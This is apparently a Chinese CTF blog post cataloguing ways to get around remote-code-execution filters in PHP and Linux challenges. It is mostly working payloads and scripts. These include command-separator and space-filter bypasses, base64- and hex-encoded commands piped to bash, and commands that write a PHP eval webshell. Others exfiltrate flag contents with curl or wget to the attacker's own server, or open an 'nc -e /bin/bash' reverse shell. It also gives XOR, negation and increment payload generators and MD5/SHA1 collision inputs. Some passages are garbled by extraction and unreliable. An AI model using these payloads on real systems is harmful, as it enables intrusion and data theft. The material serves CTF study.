CTF_RCE的绕过

RCE定义: 利用软件漏洞执行远程代码
RCE可以分为两种主要形式:远程命令执行远程代码执行

RCE的绕过

LINUX系统的管道符:
1、" ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
注:windows没有";"

过滤空格、引号、关键字等

替代法

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

linux命令大全:https://www.runoob.com/linux/linux-command-manual.html

使用Shell特殊变量 ∗ 和 *和 @, x , x, x,{x}绕过(x指任意值)

ca$*t  flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

拼接绕过

a=fl;b=ag;cat $a$b
(sy.(st).em)('ls')
c''a''t /flag.php
c""a""t /flag.php
c``a``t /flag.php
c\a\t /flag.php

绕过空格:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

编码绕过(base64、8进制、16进制)

//base64_encode('cat')==Y2F0
`echo 'Y2F0' | base64 -d` flag  //cat /flag

//8进制
$(printf "\154\163")   //ls

//16进制 , xxd -r -p:xxd 是一个十六进制转换工具,这里的 -r -p 选项表示将十六进制转换成原始二进制数据。bash:将二进制数据传递给 bash 命令执行。
echo "636174202f666c6167" | xxd -r -p|bash   //cat /flag

?和*绕过

cat /f???
cat /f*
cat /flag
//这三条命令等价

内联执行绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

%0a换行绕过

$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);  //将level替换成注释

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2"; 

输入?aaa=%0Afpass_the_level_1%23即可绕过

插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/*A10ng_*/(whoami);
system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);
(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);

多次传参绕过引号

GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);

利用$PATH环境变量绕过



解决无回显函数

用压缩、复制、写shell等方法对其进行绕过

  copy flag 1.txt
  mv flag 1.txt
  nl flag |tee 1.txt
  cat flag > 1.txt
  tar zcvf flag.tar.gz flag
  echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
  echo "<?php eval($_POST[123]);?>" > webshell.php

用vps建立记录脚本

1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码:

<?php
    $data =$_GET['data'];
    $f = fopen("flag.txt", "w");
    fwrite($f,$data);
    fclose($f);
    ?>

2、然后构造请求,请求后查看自己服务器的flag.txt文件

  curl http://*.*.*.**/record.php?data=`cat flag`
  wget http://*.*.*.**/record.php?data=`cat flag`

nc反弹shell

nc -lvvp 7777  //nc监听7777端口
nc -e /bin/bash 192.168.225.130 7777  //ip地址是攻击端的ip

>/dev/null 2>&1类无回显

用分隔符进行分割即可绕过
http://127.0.0.1/?pay=ls||

无字母RCE

利用PHP动态函数的特性,构造出字符串。

POST传参:$_="0302181"^"@[@[_^^";$_();

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = "phpinfo"

tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if (ord(i) ^ ord(j) == ord(c)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print('\"'+tmp1+'\"'+'^'+'\"'+tmp2+'\"')
#mess=$_="0302181"^"@[@[_^^";$_();

无字母数字RCE

代码示例:

<?php
error_reporting(0);
// 显示文件内容
highlight_file(__FILE__);
// 获取用户输入的代码
$code = $_GET['code'];
// 如果输入包含字母或数字,则拒绝执行
if(preg_match('/[a-z0-9]/i', $code)){
    die('Invalid input');
}
// 执行用户输入的代码
eval($code);

使用url取反绕过

<?php
echo urlencode(~'system'); //%8C%86%8C%8B%9A%92
echo "\n";
echo urlencode(~'cat /f*');  //%9C%9E%8B%DF%D0%99%D5
//(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5)
?> 

异或绕过

1、首先用php脚本生成包含所有可见字符的异或构造结果

<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

2、然后用python脚本生成我们的payload

import requests
import urllib
from sys import *
import os
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)



$(())绕过(要求输入数字时)

1、在Linux里,$(())代表0。
对于正整数和0,取反的结果是其本身加1的负数,对于负整数,取反的结果是其本身加1的绝对值。

2、例如LitCTF-百万美元的诱惑中要求我们输入12这个数,虽然过滤了很多符号,但是我们可以使用 ( ( ) ) 绕过, 12 就是 13 个 ‘ (())绕过,12就是13个` (())绕过,12就是13((~$(())))`再进行一次取反
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3、这里我们使用python脚本进行构造:

Invert_Num = '$(( ~$(({})) ))'  # 取反操作
Num1 = '$((~$(()))) '  #-1
payload = Invert_Num.format(Num1*13)
print(payload)



$_++自增绕过

1、首先"A"++ ==> “B”、“B”++ ==> “C”
那么如果我们能够得到"A",那么我们就能通过自增,得到所有的字母。

2、那么怎么得到字符"A"?在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

<?php
$a = ''.[];
var_dump($a);
//输出Array

因此有payload:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

POST请求体传入:
_=phpinfo();

回溯绕过

php正则的回溯次数大于1000000次时返回False
脚本如下:

import requests
param = '$'*1000000 + '12' #12这个位置是你想执行的命令
response = requests.post(r'http://node1.anna.nssctf.cn:28285/dollar.php',params=param)
print(response.text)

无参数RCE

核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

正则表达式[^\W]+\((?R)?\)解释:
[^\W]+
方括号 [ ]:定义一个字符类,匹配方括号中的任意字符。
脱字符 ^:在字符类的开头表示取反,匹配不在字符类中的字符。
\W:匹配任意非单词字符,相当于 [^a-zA-Z0-9_]。但因为脱字符 ^ 的存在,\W 被反转,因此匹配单词字符 [a-zA-Z0-9_]
+:量词,表示前面的元素(在这里是字符类)匹配一次或多次。
所以,[^\W]+ 实际上匹配一个或多个单词字符。

(:紧接着匹配一个左括号 (
(?R)?:递归地匹配整个正则表达式(匹配一个嵌套的结构)。
):匹配一个右括号 )

举个例子:传递参数a(b(c()));,经过第一轮匹配还剩下a(b());,第二轮匹配后还剩下a();,第三轮匹配后还剩下;,符合正则表达式的要求,那么a(b(c()));可以执行。简而言之,无参数rce就是不使用参数,只使用一个个函数最终达到目的。


相关函数介绍

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容

php数组操作函数
next() 函数将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
current() - 返回数组中的当前元素的值。
end() - 将内部指针指向数组中的最后一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动

利用这些函数,我们可以构造出无参数的 RCE payload。以查看当前目录下文件为例:

var_dump(scandir(current(localeconv())));

解释
localeconv() 返回包含本地数字及货币格式信息的数组,第一个元素为小数点 .
current(localeconv()) 取数组中的第一个元素,即 .
scandir(current(localeconv())) 等价于 scandir('.'),列出当前目录下的文件和目录


一些函数的绕过

绕过basename

定义和用法

basename() 函数返回路径中的文件名部分并且会删除文件名开头的非 ASCII 字符。

语法
basename(path,suffix)

参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

php官网的例子:

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>

以上示例会输出:
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)

绕过

这里借助[鹤城杯 2021]EasyP进行演示

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
} 

代码会对 G E T [ ′ s h o w s o u r c e ′ ] 进行检查,所以利用 b a s e n a m e 的特性,输入 i n d e x . p h p / u t i l s . p h p 即可绕过第一层,这是因为 b a s e n a m e 会把前面的 i n d e x . p h p 当成路径,只是返回 u t i l s . p h p 。对于第二层,当前的 _GET['show_source']进行检查,所以利用basename的特性,输入index.php/utils.php即可绕过第一层,这是因为basename会把前面的index.php当成路径,只是返回utils.php。 对于第二层,当前的 GET[showsource]进行检查,所以利用basename的特性,输入index.php/utils.php即可绕过第一层,这是因为basename会把前面的index.php当成路径,只是返回utils.php。对于第二层,当前的_SERVER[‘REQUEST_URI’]和 S E R V E R [ ′ P H P S E L F ′ ] 的值是一样的,区别在于 ∗ ∗ _SERVER['PHP_SELF']的值是一样的,区别在于** SERVER[PHPSELF]的值是一样的,区别在于_SERVER[‘REQUEST_URI’]包含了完整的 URI,包括查询参数,而$_SERVER[‘PHP_SELF’]**只返回当前执行脚本的文件名,不包含查询参数。
还有一点:php传递参数时,如果包含点 空格和中括号,那么会被转换为下划线。

所以构造payload:http://node4.anna.nssctf.cn:28492/index.php/utils.php/呵呵?show[source

绕过intval

1、当某个数字被过滤时,可以使用8进制/16进制增加小数位拼接字符串两次取反算数运算符来绕过
2、如果遇到if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))时,可以a[]=‘’
3、intval函数在php7.2.5以下的某个版本前,无法正确解析科学计数法e的,但是与一个数运算后,php又可以正常解析。于是当我们碰到if(intval($num) < 2020 && intval($num + 1) > 2021)的题时,可以传入$num=1e4,这样在加1前num的值是1,加1后是10001。

md5的绕过

a = = m d 5 ( a==md5( a==md5(a)

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

md5弱比较绕过

常见的验证方式:
if( a != b && md5(a) == md5(b) )

方法一:
这儿md5(a)和md5(b)两数如果满足科学计数法的形式的话,php会将其当作科学计数法所得的数字来进行比较。例如:

md5(QNKCDZO)
0e830400451993494058024219903391

可以看见QNKCDZO的md5值是0e开头满足科学计数法的表示形式,而0e的值始终为0
因此,只要字符串经md5后满足科学计数法的0e开头,他们在比较时就会被认定为相等。(只对比较有效,不适用于===)
下面给出一些相等的md5数值:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

方法二:
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
也就是说a[]=1&b[]=2 该验证依然可以绕过

md5强碰撞绕过

if((string)$_POST['array1']!==(string)$_POST['array2'] && md5($_POST['array1'])===md5($_POST['array2'])){
        echo("success!);
}

这里和弱比较的区别就是多了一个string转换,导致无法绕过==
我们可以传入两个数即可绕过

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sha1强碰撞绕过

sha1与md5一样
如果是强比较,没有转为string,可以用数组进行绕过,例如 a[]=1&b[]=2,也可以用强碰撞
如果是强比较,转为string,只能用强碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

strcmp函数绕过

<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
	echo 'ooooh!';
}

绕过原理:利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0
当传入?id[]=1时即可绕过



参考文章: https://blog.csdn.net/qq_41315957/article/details/118855865 https://blog.csdn.net/2301_76690905/article/details/134533626 https://blog.csdn.net/2301_76690905/article/details/134533626
  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值